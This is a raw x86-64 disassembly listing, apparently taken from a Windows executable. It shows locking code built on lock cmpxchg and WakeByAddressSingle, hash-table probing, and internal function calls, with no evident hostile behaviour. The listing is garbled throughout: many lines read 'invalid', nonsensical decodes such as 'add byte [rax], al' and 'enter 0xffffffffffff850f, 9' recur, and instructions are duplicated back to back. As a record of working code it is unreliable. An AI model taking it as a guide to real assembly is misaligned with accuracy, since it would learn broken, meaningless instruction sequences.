add byte [rax - 0x77], cl
fld dword [rcx - 0x77]
call 0x1382114d1
dec dword [rax - 0x7d]
mov esp, 0x28024
and al, 0x80
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax - 0x77], cl
fld dword [rcx - 0x77]
call 0x1382114d1
dec dword [rax - 0x7d]
mov esp, 0x28024
and al, 0x80
add al, byte [rax]
and al, 0x80
add al, byte [rax]
add byte [rax], al
mov dword [rsp + 0x60], r14d
je 0x1400a5de7
movdqu xmm0, xmmword [rsp + 0x280]
movdqa xmmword [rsp + 0xc0], xmm0
mov cl, 1
xor eax, eax
lock cmpxchg byte [rsi], cl
jne 0x1400a7075
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a7090
xor r10d, r10d
mov qword [rsp + 0x48], r13
insb byte [rdi], dx
and al, 0x48
mov qword [rsp + 0x50], rsi
je 0x1400a4e61
push rax
movzx eax, byte [rsi + 1]
test al, al
jne 0x1400a7a35
movaps xmm0, xmmword [rsp + 0x4f0]
movaps xmmword [rsp + 0x3c0], xmm0
mov r13, qword [rsp + 0x500]
invalid
invalid
add byte [rax], al
add byte [0x14ffd4e64], al
outsd dx, dword [rsi]
test byte [rax + rcx], ah
add eax, 0xff30000
jg 0x1400a4df3
add byte [rax], al
add bl, dh
movq mm0, qword [rsp + 0x508]
movdqu xmm0, xmmword [rsp + 0x508]
movdqu xmmword [rsp + 0x3d8], xmm0
and al, 0xd8
add eax, dword [rax]
add byte [rax], al
mov r12, qword [rsp + 0xc0]
invalid
invalid
invalid
and al, 0xc8
add byte [rax], al
mov r12, qword [rsp + 0xc0]
mov r15d, dword [rsp + 0xc8]
add byte [rax], al
add byte [rbx + 0xcc24b4], cl
add byte [rax], al
add byte [rax], al
add byte [rbx + 0xcc24b4], cl
add byte [rax], al
mov dword [rsp + 0x610], r15d
adc byte [rsi], al
add byte [rax], al
invalid
mov dword [rsp + 0x614], esi
cmp qword [r12 + 0x10], r15
jbe 0x1400a7923
and al, 0x14
invalid
sub al, byte [rax]
add byte [rcx - 0x75], cl
and al, 8
mov rax, qword [r12 + 8]
imul rbp, r15, 0x130
add byte [rax], al
cmp dword [rax + rbp], 2
je 0x1400a7923
invalid
sub al, byte [rax]
invalid
add cl, byte [rdi]
test byte [rax + 0x2a], ch
invalid
sub al, byte [rax]
invalid
push 0x4800002a
add eax, ebp
add rax, rbp
cmp dword [rax + 0x114], esi
jne 0x1400a7923
mov edx, dword [rax + 0x48]
mov qword [rsp + 0x3d0], r13
mov dword [rsp + 0x3d0], ebp
add byte [rcx - 9], cl
invalid
test r13, 0xffffffff80000000
test ebp, 0x80000000
jne 0x1400a7a76
sub eax, dword [rax]
add byte [rcx + rcx*4 - 0x44], al
and al, 0x80
add byte [rax], al
add byte [rbp + rcx*4 - 0x64], cl
pushfq
mov dword [rsp + 0x80], r15d
lea r11, [rsp + 0x84]
pushfq
and al, 0x84
add byte [rax], al
add byte [rcx + 0x8424b4], cl
and al, 0x84
add byte [rax], al
invalid
pushfq
and al, 0x84
add byte [rax], al
add byte [rcx + 0x8424b4], cl
and al, 0x84
add byte [rax], al
invalid
mov rax, qword [r12 + 0x10]
cmp rax, r15
jbe 0x1400a78b5
invalid
scasb al, byte [rdi]
sub dword [rax], eax
invalid
xchg byte [rsi + 0x49000029], ch
mov ecx, dword [rsp + 8]
invalid
sub dword [rax], eax
add byte [rcx - 0x75], cl
and al, 8
invalid
mov rcx, qword [r12 + 8]
cmp dword [rcx + rbp], 2
je 0x1400a78b5
lahf
sub dword [rax], eax
invalid
lahf
sub dword [rax], eax
add byte [rax + 1], cl
jmp 0x1411f0056
adc al, 1
add rcx, rbp
cmp dword [rcx + 0x114], esi
add byte [rdi], cl
test dword [rax - 0x76ffffd7], edx
sub dword [rax], eax
add byte [rcx + 0xd82494], cl
add byte [rax], al
lea rdx, [rdi + 8]
invalid
invalid
jne 0x1400a78b5
sub dword [rax], eax
add byte [rcx + 0xd82494], cl
add byte [rax], al
mov dword [rsp + 0xd8], edx
lea rdx, [rdi + 8]
mov qword [rsp + 0x68], rdx
push rsp
and al, 0x68
movzx edx, byte [rcx + 0x50]
cmp dl, 5
mov dword [rsp + 0x70], r10d
and al, 0x70
and al, 0x70
jo 0x1400a4f51
ja 0x1400a5d73
xchg dword [rsi + rcx], ebp
add byte [rax], al
lea r8d, [rdx - 3]
cmp r8b, 3
movzx r9d, r8b
mov dh, 0xc8
mov r8d, 1
cmovb r8d, r9d
test r8b, r8b
invalid
ror byte [rdi], 0x84
or eax, 0x4500000e
add byte [rax], al
movzx r8d, r8b
je 0x1400a5d73
add byte [rax], al
movzx r8d, r8b
cmp r8d, 1
jne 0x1400a4f7f
jo 0x14a81516f
cmp dl, 1
ja 0x1400a4f7f
invalid
or al, byte [rax + 0xf025179]
xor esp, 0xd
add byte [rax], al
cmp byte [rcx + 0x51], 2
jae 0x1400a5d73
mov eax, dword [rdi + 0xb0]
xor r14d, r14d
test eax, eax
mov ecx, 0
cmovg ecx, eax
mov bl, 1
add byte [rbp + 0x31], al
test byte [rbp + 0xb9c0], 0
add byte [rdi], cl
enter 0x1b3, 0xffffffffffffffc7
and al, 0x58
add eax, dword [rax]
add byte [rax], al
mov dword [rsp + 0x58], 3
lea rdx, [0x1401157d0]
mov qword [rsp + 0x40], rdx
push rsp
and al, 0x40
invalid
push rsp
and al, 0x40
cmp ecx, r13d
jb 0x1400a651f
test r13d, r13d
mov r12, qword [rsp + 0x50]
mov esp, dword [rsp + 0x50]
mov esp, dword [rsp + 0x50]
mov rbp, qword [rsp + 0x68]
je 0x1400a715f
sub eax, r13d
jl 0x1400a7b05
cmp byte [rbx], ch
add byte [rax], al
invalid
cmp byte [rbx], ch
add byte [rax], al
invalid
mov dword [rdi + 0xb0], eax
mov eax, dword [rdi + 0xb4]
sub eax, r13d
jno 0x1400a7159
xor r14d, r14d
jmp 0x1400a6529
movdqu xmm0, xmmword [r8 + 4]
movdqu xmm1, xmmword [r8 + 0x14]
movdqu xmm2, xmmword [r8 + 0x24]
outsd dx, dword [rsi]
push rax
and al, 0xf3
movq mm3, qword [r8 + 0x30]
pop rax
invalid
outsd dx, dword [rsi]
push rax
and al, 0xf3
movq mm3, qword [r8 + 0x30]
pop rax
invalid
pop rax
xor bl, dh
movdqu xmmword [r13 + 0x30], xmm3
movdqu xmmword [r13 + 0x30], xmm3
movdqu xmmword [r13 + 0x24], xmm2
movdqu xmmword [r13 + 0x14], xmm1
movq qword [rbp + 0x14], mm1
movq qword [rbp + 0x14], mm1
movdqu xmmword [r13 + 4], xmm0
movq qword [rbp + 4], mm0
add al, 0x41
mov dword [rbp], 0
add byte [rax], al
mov dword [r13], 0
add byte [rax], al
jmp 0x1400a7025
add rdx, 0x20
mov rcx, rdx
xor edx, edx
call fcn.140098af0
test al, al
jne 0x1400a79e4
cmpsd dword [rsi], dword [rdi]
sub dword [rax], eax
invalid
ret 0x4820
movabs rax, 0x300000000
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
jmp 0x1400a7021
invalid
add r8, 8
lea rcx, [rsp + 0x610]
mov rsi, rdx
mov rdx, r8
mov r8d, 0x120
call fcn.140106250
mov rdx, rsi
mov rdi, qword [rsi + 0x20]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi], cl
cmpxchg byte [rdi], cl
jne 0x1400a69b0
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
test eax, eax
test eax, eax
jne 0x1400a69ce
xor ebx, ebx
mov qword [rsp + 0x48], r13
movzx eax, byte [rdi + 1]
test al, al
jne 0x1400a69ec
mov r13d, dword [rsp + 0x728]
cmp r13d, dword [rdi + 0x100]
jbe 0x1400a567f
invalid
mov byte [rsp + 0xe8], 3
mov r13, qword [rsp + 0x48]
lea rcx, [rsp + 0x610]
and al, 0x10
invalid
add byte [rax], al
call fcn.1400876a0
jmp 0x1400a6f77
and al, 0x10
invalid
add r8, 8
add eax, 8
lea rcx, [rsp + 0x280]
mov rsi, rdx
mov rdx, r8
mov r8d, 0x120
call fcn.140106250
mov rdx, rsi
mov rdi, qword [rsi + 0x20]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi], cl
jne 0x1400a6a07
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a6a25
xor ebx, ebx
movzx eax, byte [rdi + 1]
test al, al
jne 0x1400a6a3e
test dword [rbx], edx
sbb dword [rax], eax
invalid
test dword [rbx], edx
sbb dword [rax], eax
add byte [rax - 0x75], cl
sub byte [rax - 0x77], cl
add byte [rax], al
mov rax, qword [rdx + 0x28]
mov qword [rsp + 0x250], rax
test byte [rax + rdx*2], ah
add al, byte [rax]
add byte [rbx + 0x39024ac], cl
add byte [rax], al
test byte [rax + rdx*2], ah
add al, byte [rax]
add byte [rbx + 0x39024ac], cl
add byte [rax], al
mov r12d, dword [rsp + 0x394]
lea r14, [rdi + 0x1b8]
lea rsi, [rsp + 0x610]
add byte [rbp + rcx*4 - 0x49], cl
mov eax, 0x48000001
lea esi, [rsp + 0x610]
mov rcx, rsi
mov rdx, r14
mov edx, esi
mov edx, esi
mov r8d, ebp
call fcn.1400264b0
mov rax, qword [rsp + 0x610]
test rax, rax
ror byte [rcx + rcx*4 + 0x6c], 0x24
mov qword [rsp + 0x60], rbx
ror byte [rcx + rcx*4 + 0x6c], 0x24
mov qword [rsp + 0x60], rbx
je 0x1400a6217
adc byte [rax], al
add byte [rbx], bh
scasd eax, dword [rdi]
add byte [rcx], al
cmp ebp, dword [rdi + 0x100]
add byte [rax], al
jbe 0x1400a5fa0
mov r13b, 3
jmp case.0x140070c13.246
mov ebx, dword [r8 + 4]
mov r12d, dword [r8 + 8]
mov rdi, qword [rdx + 0x20]
mov edi, dword [rdx + 0x20]
mov edi, dword [rdx + 0x20]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi], cl
jne 0x1400a6a59
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a6a7a
invalid
invalid
sbb byte [rax], al
invalid
test dword [rax + rbx - 0x9cf0000], edi
xor esi, esi
movzx eax, byte [rdi + 1]
test al, al
jne 0x1400a6a97
add byte [rax], al
mov r14, qword [rdx + 0x28]
mov cl, 1
add dword [rcx], esi
sal al, 0x41
cmpxchg byte [rsi], cl
add dword [rcx], esi
sal al, 0x41
cmpxchg byte [rsi], cl
jne 0x1400a6be0
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a6bfb
xor eax, eax
mov qword [rsp + 0x48], r13
insb byte [rdi], dx
and al, 0x48
movzx ecx, byte [r14 + 1]
test cl, cl
jne 0x1400a6c14
lea r15, [rdi + 8]
lea r13, [rdi + 0x1b8]
test ebx, ebx
mov dword [rsp + 0x60], esi
je 0x1400a5e31
adc al, 0xc
add byte [rax], al
adc al, 0xc
add byte [rax], al
mov ebp, eax
lea rcx, [rsp + 0x4e0]
mov rdx, r13
mov r8d, ebx
call fcn.1400264b0
cmp qword [rsp + 0x4e0], 0
add byte [rdi], cl
test byte [rdx], dl
adc dword [rax], eax
invalid
add byte [rdi], cl
test byte [rdx], dl
adc dword [rax], eax
add byte [rbp - 0x73], cl
or byte [rax - 0x73], r9b
invalid
lea r8, [r14 + 8]
lea rcx, [rdi + 0x108]
add byte [rax], al
add byte [rax], al
lea rax, [rdi + 0x1a8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
jl 0x1400a5280
and byte [rbp + rcx*4 - 0x74], cl
and al, 0xe0
add al, 0
add byte [rcx + rcx*4 - 0x1e], al
jl 0x1400a5280
add byte [rcx + rcx*4 - 0x1e], al
call fcn.1400a4be0
mov eax, ebp
jae 0x1400a5264
invalid
test al, al
jne 0x1400a5286
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a724e
xor eax, eax
xchg byte [r14], al
mov bl, 3
mov bpl, 1
cmp al, 2
add cl, byte [rbx + rcx*4 + 0x6c]
and al, 0x48
add cl, byte [rbx + rcx*4 + 0x6c]
and al, 0x48
jne 0x1400a52a2
mov rcx, r14
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp byte [rsp + 0x60], 0
jne 0x1400a52bc
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a71bc
invalid
xor eax, eax
xchg byte [rdi], al
cmp al, 2
jne 0x1400a52cd
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test bpl, bpl
jne case.0x1400a4d60.2
movdqa xmm0, xmmword [rsp + 0x4f0]
movdqu xmmword [r13 + 0x20], xmm0
mov byte [r13 + 8], bl
mov byte [r13 + 9], 1
mov dword [r13 + 0xc], esi
lea rax, [0x14013db38]
mov qword [r13 + 0x10], rax
mov qword [r13 + 0x18], 1
mov dword [r13], 1
jmp 0x1400a7025
invalid
add byte [rax - 0x75], cl
sbb byte [rax + 0xf000879], al
test eax, esi
add byte es:[rax], al
mov rcx, qword [rdx + 0x18]
cmp byte [rcx + 8], 0
jne 0x1400a7a10
mov rax, qword [r8 + 2]
cmp byte [r8 + 1], 0
cmp byte [rax + 1], 0
je 0x1400a5dfa
mov r9, rdx
movzx r8d, byte [rcx + 0x11]
mov rdx, qword [rcx + 0x12]
mov byte [rcx + 0x11], 2
adc dword [r8 - 0x75], ecx
push rcx
adc al, dh
adc dword [r10], eax
cmp r8b, 2
je 0x1400a63e8
mov byte [rsp + 0x280], r8b
mov qword [rsp + 0x281], rdx
cmp rdx, rax
jne 0x1400a63cc
invalid
lea rcx, [rsp + 0x281]
mov qword [rsp + 0x3c0], rcx
add byte [rax - 0x47], cl
or edi, dword [rbx - 0x5e]
invalid
mov ebx, dword [rbx + 0x394854fe]
enter 0xffffffffffff850f, 9
invalid
add byte [rax], al
mov rbx, qword [r9 + 8]
cmp dword [rbx + 0x28], 0
je 0x1400a7ad5
mov rsi, qword [r9 + 0x20]
jno 0x1400a53b7
mov rcx, rsi
call fcn.140099750
mov edi, eax
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x3c0], xmm0
mov cl, 1
xor eax, eax
lock cmpxchg byte [rsi], cl
invalid
jne 0x1400a7428
invalid
test dword [rax + riz], ebp
add byte [rax - 0x75], cl
add eax, 0xdcf45
shl rax, 1
loopne 0x1400a540f
test eax, eax
jne 0x1400a7443
loopne 0x1400a540f
xor eax, eax
movzx ecx, byte [rsi + 1]
test cl, cl
jne 0x1400a7456
cmp dword [rsi + 0x100], edi
jb 0x1400a7aed
mov dword [rsi + 0x100], edi
test al, al
jne 0x1400a5406
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a7766
xor eax, eax
xchg byte [rsi], al
cmp al, 2
jne 0x1400a5417
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp dword [rbx + 0x28], 0
je 0x1400a5426
cmp edi, dword [rbx + 0x2c]
ja 0x1400a7b35
xchg dword [rdi], ecx
invalid
add byte [rax], al
xchg dword [rdi], ecx
invalid
mov dword [rbx + 0x28], 1
mov dword [rbx + 0x2c], edi
mov dword [rbx + 0x30], 0
mov rax, qword [rbx]
test rax, rax
je 0x1400a544e
lea rcx, [rbx + 0x18]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
call qword [rax + 0x10]
lea rax, [0x14013db38]
mov qword [rbx], rax
mov qword [rbx + 8], 1
movdqa xmm0, xmmword [rsp + 0x3c0]
movdqu xmmword [rbx + 0x10], xmm0
mov dword [rbx + 0x20], edi
mov dword [rbx + 0x24], 0
add byte [rax], al
add cl, ch
invalid
sbb eax, dword [rax]
invalid
add byte [rax], al
add cl, ch
invalid
mov rax, qword [r8 + 0x28]
mov qword [rsp + 0x3e0], rax
movdqu xmm0, xmmword [r8 + 8]
movdqu xmm1, xmmword [r8 + 0x18]
movdqa xmmword [rsp + 0x3d0], xmm1
movdqa xmmword [rsp + 0x3c0], xmm0
mov rdi, qword [rdx + 0x20]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi], cl
jne 0x1400a6b0e
push rbp
invalid
add byte [rax], al
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a6b2f
ror byte [rdi], 0x85
invalid
xor ebp, ebp
movzx eax, byte [rdi + 1]
test al, al
jne 0x1400a6b4c
mov r14, qword [rdx + 0x28]
mov cl, 1
xor eax, eax
lock cmpxchg byte [r14], cl
jne 0x1400a6c2f
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a6c50
xor eax, eax
mov qword [rsp + 0x70], rdx
movzx ecx, byte [r14 + 1]
test cl, cl
jne 0x1400a6c6f
mov esi, dword [rsp + 0x3e0]
cmp dword [rdi + 0x170], esi
jae 0x1400a5787
add byte [rax], al
add byte [rax], al
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x610], xmm0
test al, al
invalid
jne 0x1400a554b
sal byte [rbp + 0x13], 0x48
mov eax, dword [0x140182308]
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a7347
xor eax, eax
xchg byte [r14], al
mov bl, 1
cmp al, 2
mov rsi, qword [rsp + 0x70]
mov esi, dword [rsp + 0x70]
mov esi, dword [rsp + 0x70]
jne 0x1400a5564
mov rcx, r14
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test bpl, bpl
jne 0x1400a557c
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a71d2
xor eax, eax
xchg byte [rdi], al
cmp al, 2
jne 0x1400a558d
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp bl, 3
jne 0x1400a599f
mov rax, qword [rsp + 0x3e0]
mov qword [rsp + 0x130], rax
movaps xmm0, xmmword [rsp + 0x3c0]
movaps xmm1, xmmword [rsp + 0x3d0]
movaps xmmword [rsp + 0x120], xmm1
movaps xmmword [rsp + 0x110], xmm0
mov rsi, qword [rsi + 0x10]
mov rax, qword [rsi]
test rax, rax
je 0x1400a55e1
lea rcx, [rsi + 0x18]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x130]
mov qword [rsi + 0x20], rax
movdqa xmm0, xmmword [rsp + 0x110]
movdqa xmm1, xmmword [rsp + 0x120]
movdqu xmmword [rsi + 0x10], xmm1
movdqu xmmword [rsi], xmm0
jmp case.0x1400a4d60.2
mov ebp, dword [r8 + 4]
mov r15d, dword [r8 + 8]
mov rdi, qword [rdx + 0x20]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi], cl
jne 0x1400a6b65
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a6b86
xor r14d, r14d
movzx eax, byte [rdi + 1]
test al, al
jne 0x1400a6ba4
mov qword [rsp + 0x48], r13
test ebp, ebp
je 0x1400a5e07
mov sil, 1
mov r13d, 1
lea r12, [0x14013db38]
mov ebx, 1
cmp dword [rdi + 0x100], ebp
jae 0x1400a6240
mov bpl, 3
jmp 0x1400a6fe3
mov dword [rsp + 0x60], ebx
lea rax, [rdi + 8]
mov qword [rsp + 0x58], rax
movzx ebp, byte [rdx + 0x30]
mov rax, qword [rdx + 0x28]
mov qword [rsp + 0x40], rax
lea rax, [rdi + 0x68]
mov qword [rsp + 0x70], rax
lea rax, [rdi + 0x1b8]
mov qword [rsp + 0x50], rax
lea rsi, [rdi + 0x1e0]
mov rcx, qword [rdi + 0x218]
mov rdx, qword [rdi + 0x220]
mov r8d, r13d
call fcn.1400203c0
mov r8, qword [rdi + 0x1e8]
mov rdx, qword [rdi + 0x1f0]
mov r9, qword [rdi + 0x200]
mov r10, r9
and r10, rax
mov rcx, rax
shr rcx, 0x39
mov r14, qword [rdi + 0x1f8]
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r15d, r15d
pcmpeqd xmm1, xmm1
movdqu xmm2, xmmword [r14 + r10]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r12d, xmm3
test r12w, r12w
je 0x1400a5767
tzcnt ebx, r12d
add rbx, r10
and rbx, r9
lea rcx, [rbx*8]
mov r11, r14
sub r11, rcx
mov rcx, qword [r11 - 8]
cmp rdx, rcx
jbe 0x1400a7471
add eax, dword [rax]
add byte [rsi + 0xf], ah
je 0x1400a573c
pcmpeqb xmm2, xmm1
pmovmskb ecx, xmm2
test ecx, ecx
jne 0x1400a7265
add edx, edi
add r10, 0x10
add r15, 0x10
and r10, r9
jmp 0x1400a570d
mov dword [rsp + 0x24c], eax
add byte [rax], al
mov qword [rsp + 0xd8], r14
mov dword [rsp + 0x68], ebp
mov qword [rsp + 0x48], r13
mov dword [rdi + 0x170], esi
lea rdx, [rsp + 0x3d8]
mov rax, qword [rsp + 0x3c0]
mov r8, qword [rsp + 0x3c8]
mov r9, qword [rsp + 0x3d0]
lea rcx, [rsp + 0x288]
call qword [rax]
mov eax, dword [rsp + 0x3e4]
mov dword [rsp + 0x284], eax
mov word [rsp + 0x280], 0x201
mov rax, qword [rdi + 0x210]
add byte [rax], al
add byte [rax], al
test rax, rax
je 0x1400a5a02
lea rcx, [rdi + 8]
mov qword [rsp + 0x50], rcx
mov rcx, qword [rsp + 0xd8]
fadd dword [rax]
add byte [rax], al
fadd dword [rax]
add byte [rax], al
add rcx, 8
mov qword [rsp + 0x58], rcx
lea rcx, [rdi + 0x1b8]
mov qword [rsp + 0x60], rcx
lea rcx, [rdi + 0x110]
mov qword [rsp + 0x40], rcx
xor r14d, r14d
mov r13, rax
jmp 0x1400a5879
cmp r12d, 0x3b9aca00
setne r8b
mov rcx, rbx
mov ecx, ebx
mov ecx, ebx
lea rdx, [rsp + 0x270]
call fcn.14001fa50
mov rax, qword [rdi + 0x210]
cmp rax, r13
sbb r14, 0xffffffffffffffff
cmp rax, r13
sbb r13, 0
cmp r14, r13
jae 0x1400a5a02
cmp r14, qword [rdi + 0x1f0]
jae 0x1400a789c
mov rcx, qword [rdi + 0x1e8]
mov rdx, r14
shl rdx, 4
mov r15d, dword [rcx + rdx + 8]
mov ebp, dword [rcx + rdx + 0xc]
or al, 0x89
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rcx + rcx*4 - 0x44], al
and al, 0x84
add byte [rax], al
add byte [rax + 0x39], cl
scasd eax, dword [rdi]
enter 1, 0
or al, 0x89
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rcx + rcx*4 - 0x44], al
and al, 0x84
add byte [rax], al
add byte [rax + 0x39], cl
scasd eax, dword [rdi]
enter 1, 0
jbe 0x1400a7826
mov rdx, qword [rdi + 0x1c0]
imul rbx, rbp, 0x130
cmp dword [rdx + rbx], 2
je 0x1400a7826
add rdx, rbx
cmp dword [rdx + 0x114], r15d
jne 0x1400a7826
cmp r15d, esi
jbe 0x1400a5862
mov rax, qword [rsp + 0x60]
and al, 0x60
mov qword [rsp + 0x270], rax
mov dword [rsp + 0x278], ebp
mov dword [rsp + 0x27c], r15d
mov r12d, dword [rdx + 0x48]
lea rcx, [rsp + 0x280]
call fcn.140024fd0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x58]
lea r8, [rsp + 0x270]
call fcn.14008b6e0
mov dword [rsp + 0x80], ebp
and al, 0x80
add byte [rax], al
add byte [rcx + rcx*4 - 0x44], al
and al, 0x84
add byte [rax], al
add byte [rax + 0x39], cl
scasd eax, dword [rdi]
enter 1, 0
and al, 0x80
add byte [rax], al
add byte [rcx + rcx*4 - 0x44], al
and al, 0x84
add byte [rax], al
add byte [rax + 0x39], cl
scasd eax, dword [rdi]
enter 1, 0
jbe 0x1400a7826
mov rax, qword [rdi + 0x1c0]
cmp dword [rax + rbx], 2
je 0x1400a7826
add rax, rbx
cmp dword [rax + 0x114], r15d
jne 0x1400a7826
mov edx, dword [rax + 0x84]
test edx, edx
mov rbx, qword [rsp + 0x50]
jle 0x1400a5840
mov dword [rax + 0x84], 0
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x60]
mov r9, rbx
call fcn.140021330
jmp 0x1400a5840
mov byte [r13 + 9], 1
mov dword [r13 + 0xc], 1
lea rax, [0x1401157d0]
mov qword [r13 + 0x10], rax
mov qword [r13 + 0x18], 1
movdqa xmm0, xmmword [rsp + 0x610]
movdqu xmmword [r13 + 0x20], xmm0
mov byte [r13 + 8], bl
mov dword [r13], 1
lea rcx, [rsp + 0x3d8]
mov rax, qword [rsp + 0x3c0]
mov rdx, qword [rsp + 0x3c8]
mov r8, qword [rsp + 0x3d0]
call qword [rax + 0x10]
jmp 0x1400a7025
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x130], rax
movzx eax, word [rsp + 0x280]
movzx ecx, word [rsp + 0x282]
mov edx, dword [rsp + 0x284]
mov r8, qword [rsp + 0x288]
movups xmm0, xmmword [rsp + 0x290]
movaps xmmword [rsp + 0x120], xmm0
mov word [rsp + 0x110], ax
mov word [rsp + 0x112], cx
mov dword [rsp + 0x114], edx
adc al, 1
add byte [rax], al
adc al, 1
add byte [rax], al
mov qword [rsp + 0x118], r8
lea rsi, [rdi + 0x180]
movzx eax, byte [rdi + 0x180]
cmp eax, 3
mov r13, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x68]
mov r14, qword [rsp + 0xd8]
je 0x1400a67e5
test eax, eax
je 0x1400a67e5
cmp eax, 1
jne 0x1400a67c0
lea rcx, [rdi + 0x1a0]
mov rax, qword [rdi + 0x188]
mov rdx, qword [rdi + 0x190]
mov edx, dword [rdi + 0x190]
mov edx, dword [rdi + 0x190]
mov r8, qword [rdi + 0x198]
call qword [rax + 0x10]
jmp 0x1400a67e5
pop rax
add al, byte [rax]
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0x60
add al, byte [rax]
add byte [rax - 0x39], cl
test byte [rax + rdx*2], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
int1
call fcn.140026bb0
mov r13d, eax
mov ebp, edx
mov ebx, dword [rsp + 0x60]
mov r14, qword [rsp + 0x40]
mov r15, qword [rsp + 0x58]
jl 0x1400a5b1e
pop rax
mov dword [rsp + 0x4f0], r13d
mov dword [rsp + 0x4f4], ebp
mov ecx, r13d
cmp qword [rdi + 0x1c8], rcx
jbe 0x1400a7991
mov rax, qword [rdi + 0x1c0]
imul rcx, rcx, 0x130
xor byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rax + 0x69], cl
leave
xor byte [rcx], al
add byte [rax], al
cmp dword [rax + rcx], 2
je 0x1400a7991
add rax, rcx
cmp dword [rax + 0x114], ebp
jne 0x1400a7991
movzx ecx, byte [rax + 0x50]
cmp cl, 5
ja 0x1400a5b80
lea edx, [rcx - 3]
cmp dl, 3
movzx r8d, dl
mov edx, 1
add byte [rcx + 0xf], al
invalid
invalid
test dl, dl
je 0x1400a5b80
add byte [rcx + 0xf], al
rol byte [rdx + r10*8 - 0x49f0e08c], 1
rol byte [rbx - 0x7af0fe06], cl
test dword [rbp + rsi*8 - 1], ecx
test dword [rbp + rsi*8 - 1], ecx
inc dword [rax - 0x78f0fe07]
cmc
invalid
push rcx
add cl, byte [rdi]
invalid
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x78], rax
and al, 0x78
and al, 0x78
mov cl, 1
xor eax, eax
lock cmpxchg byte [r14], cl
jne 0x1400a71fe
lea rax, [r14 + 8]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xb0], rax
mov dword [rsp + 0xb8], r13d
mov dword [rsp + 0xbc], ebp
lea rax, [rsp + 0x78]
mov qword [rsp + 0x230], rax
lea rcx, [rsp + 0x110]
lea rdx, [rsp + 0x610]
mov r8d, 0x120
call fcn.140106250
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x238], rax
lea rsi, [rsp + 0xb0]
mov rcx, rsi
call fcn.1400200a0
mov ebp, dword [rax + 0x48]
mov rcx, rsi
call fcn.1400200a0
movzx ecx, byte [rax + 0x50]
add cl, 0xfa
movzx edx, cl
rol dword [rax + 0x6b906fa], 1
add byte [rax], al
add byte [rdi], cl
retf 0xf980
add al, 0xf
xchg dword [rdx], esp
or al, 0
invalid
rol dword [rax + 0x6b906fa], 1
add byte [rax], al
add byte [rdi], cl
retf 0xf980
movzx ecx, cl
lea rdx, [0x140177e28]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
mov rsi, qword [rsp + 0x78]
lea r13, [rsp + 0x3c0]
lea rdx, [rsp + 0x110]
mov r8d, 0x120
mov rcx, r13
call fcn.140106250
mov qword [rsp + 0x20], r15
lea rcx, [rsp + 0x4f0]
lea r9, [rsp + 0xb0]
mov rdx, rsi
mov r8, r13
call fcn.140021ef0
mov rax, qword [rsp + 0x4f0]
cmp rax, 3
je 0x1400a6ecb
cmp eax, 4
mov r13, qword [rsp + 0x48]
je 0x1400a6e95
cmp eax, 5
je 0x1400a5d66
lea rsi, [rsp + 0x3c0]
lea rdx, [rsp + 0x4f0]
mov r8d, 0x120
mov rcx, rsi
call fcn.140106250
mov rax, qword [rsp + 0x78]
lea rcx, [rax + 0xa0]
mov r8, qword [rsp + 0xe0]
add rax, 0x140
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r13, [rsp + 0xb0]
mov rdx, rsi
mov r9, r13
call fcn.140086c50
mov rax, qword [rsp + 0x78]
lea rcx, [rax + 0xa0]
add rax, 0x140
mov qword [rsp + 0x20], rax
mov rdx, r13
mov r8d, 7
mov r9, r15
call fcn.140025fe0
